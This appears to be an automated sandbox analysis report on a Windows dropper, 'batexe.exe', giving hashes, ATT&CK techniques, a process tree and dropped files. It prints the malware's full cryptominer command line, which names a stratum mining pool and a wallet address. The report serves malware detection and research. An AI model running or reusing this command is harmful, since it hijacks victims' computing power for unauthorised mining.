73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 04:25

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2152	b2e.exe
4656	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4656	cpuminer-sse2.exe
4656	cpuminer-sse2.exe
4656	cpuminer-sse2.exe
4656	cpuminer-sse2.exe
4656	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5056-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 2152	5056	batexe.exe	84
PID 5056 wrote to memory of 2152	5056	batexe.exe	84
PID 5056 wrote to memory of 2152	5056	batexe.exe	84
PID 2152 wrote to memory of 1816	2152	b2e.exe	85
PID 2152 wrote to memory of 1816	2152	b2e.exe	85
PID 2152 wrote to memory of 1816	2152	b2e.exe	85
PID 1816 wrote to memory of 4656	1816	cmd.exe	88
PID 1816 wrote to memory of 4656	1816	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Users\Admin\AppData\Local\Temp\9A4C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9A4C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9A4C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9D59.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9A4C.tmp\b2e.exe

Filesize
7.5MB

MD5
9e44598d812a977d8916a83d8dd46911

SHA1
79af16557341a327c20f8e02b6921a834c74a8e3

SHA256
92a892830201a40ecafeddfbb88caae291241fc651238feebd54de02766ba871

SHA512
14c9c169175027ad6aee639cf8a7ac3971fdbd84c7bdce27d5045008076e220b9bc0ba6411d0d40bc3ec2ac08ce60a0d0955c6b17c0c0af30e806b40c397ea4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\9A4C.tmp\b2e.exe

Filesize
71KB

MD5
6c47e9372e4ae152389a2253dbee4ad9

SHA1
71e5ce2cec437d9de1f92f65b3c2b55df2cb6a32

SHA256
2f6a5267dac2bad90f24ddbf0fd3be9189ee8c9e2932abfe420ef45df7688a31

SHA512
ec2caa079ed8c49cdc96b97bdf96eab9a91376945b2780ddf90f9de0c50dde9b9e8401bcea0b7d074cb2af3d2285d232a00abb655c67c2638513806544bcc076

Download Submit
C:\Users\Admin\AppData\Local\Temp\9A4C.tmp\b2e.exe

Filesize
3.6MB

MD5
22d22b33e3e639e0357b88feae2de683

SHA1
8339b5ba415427d73ab57eaa1225fce87af2f1ff

SHA256
9825528ce811ee38ba6d8f6e4d6b4bacc9587dcb7071ad4b1752c8b998d861d7

SHA512
4252b5e359e3fc82fec4db5de4fe19074ec934df9ac98291ce8cf93e827aeffb82228a857d7bdb396c0ba3499cd421b05c5fd0538cff44a4cfdff2634a078445

Download Submit
C:\Users\Admin\AppData\Local\Temp\9D59.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
758KB

MD5
9b6b5bbf2dc233256016cf94b67751bf

SHA1
b63b96d56f48d22a0dfe4c9ea0053d4885193302

SHA256
70c0457b305d6b56213fd1a4807f43f278a9ab3ab61e8ad6f570d1ae3ca0ea1b

SHA512
739f0856f5373ceceb93100a1b1604cfc29e77c27fcc88bafffdb1bf90c45d6863f34e6df7724fb8bf72bbd68b662a49a36dfeafdbb7ff8430609af8bd0c01a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
686KB

MD5
246c5b4aeac891d251a91bc7ebbc1d95

SHA1
f070c96843f283ba926931439832824738dfd90b

SHA256
7d75fcc0cf8e651c5760b48923545513fd9b925297d317f5df5339fb733e4bae

SHA512
7c15df10bf2cd10890afc6c66515843373a8f34ad4bbe8e211605581bd00e633f1f6bd0855aa15a7191323dc1a17207c58b14cb39c66b12b65641c8e9df7d5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
691KB

MD5
1e3614275da145bd569828f3ce596609

SHA1
f1fd5d510cb36c97011e0307ad26e193d727b2ed

SHA256
bb4127bcfa122ca2d0c55f1d44a1e22398d9fa0743cad7f99d92ae199281aa99

SHA512
a3feaa5b9c8af8fc0cc12e83e8479182db86e16f797c044b6314d4e73604d4a34f1b863f1647c1051868f42feadaa79400d2142530962978a4979d67045c96e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
442KB

MD5
b491ff26e0131e8afeb08aa39b9fc4d5

SHA1
639884355add5a4a135f37a04a8175e573169938

SHA256
a1574090582c1c86afe238e5078c6ca5b283671130df769b43bf44825721e469

SHA512
17e224cf166ca781afa97d9ab7bdb15109d391d2473ea9113ae92a5ea0b8be84bc99be01e29f773df975effab5ec5bfcdbcb9fd0564b0167fd8fdc3c700c1a95

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
530KB

MD5
8d6b4a74c6a55398d8e8f6a464f46d05

SHA1
99d22c4ec5ab88526b7a9685dc07aefdad3537f9

SHA256
734096281559f01a8678cd2f8f8e8c282821ee3b2173e5dc581ce8c4935e8668

SHA512
3d98ca9b198311a4a1e00ac121bd51362a56bbc1c946b5cc8c062bb144447402747f145313501242f042ee092fd28779e8cce251441250cf92786eb3adac6eae

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
659KB

MD5
ec615235450913ee3200f02f23ca5209

SHA1
01a19796db40802820e7ff819422649162a8bcc3

SHA256
63682ece8421ed98bd4feddcda0ce01b3bd6c74375f9c246edff16ad7cd3fb88

SHA512
dc99107ce837cac7b260ac93fc0f2555407a6782ec92331cfb301119c37fa58161e1801bcc0ac8e9ce5b14ae998f217227ffd8b2bd9bf1f57ba6aed541a366e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
640KB

MD5
1b7339cbcb5b756c15c05fe0cc6443f3

SHA1
abdba01c4526a9bbbb7fd3853e09bce3cbb5287d

SHA256
5fcf0fb116f77206758e3a669ec4fa52648fae431a5c2aa2d7ee69944142e019

SHA512
7661b5e8413e74432a00089b1556b2f49e268b6b5c8cefd839cbe19074bffd138c18e8078627420f4082f579a9e3f8d02b199507ae36380b5375162a4d4ba439

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
593KB

MD5
5bf5bfb3663feeb0fcdb89d4e9a2414d

SHA1
8dc1b6f47ab746874e7e2ffa8836e62de9ec0d19

SHA256
aba94512c63b3d39aa08c2c3a64a899d8d828575b219db1701041d14949c5a3f

SHA512
ea3a2c8a0e6709a41e3c650b53f3e7b2f2fb91eceb0a9e4d6f799b229eb06118b49177f0e5d7fbe834b24f1378bc200ef4f158abd603d96928cdc4afcbe48aab

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
518KB

MD5
73ebddb3dc54ae1c1be8f3df21888228

SHA1
f2276397945ac273fc3296d1390f1b80589d8085

SHA256
1ab10e4f43b91862f183a7d44b764f478bfd1f4a47ee5b8a008a32fc7ab3e56a

SHA512
35e00ff53bfe11c953cb81ad86f2f16f0dc69fad827178bcd4ab6f24b7f5f4215e7c7d224c39c6e2d88c705ca8fa3a9817dd4f6e537059a6a3b221db077a9667

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2152-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2152-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4656-47-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/4656-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4656-45-0x0000000063360000-0x00000000633F8000-memory.dmp

Filesize
608KB

Download
memory/4656-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4656-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4656-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5056-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download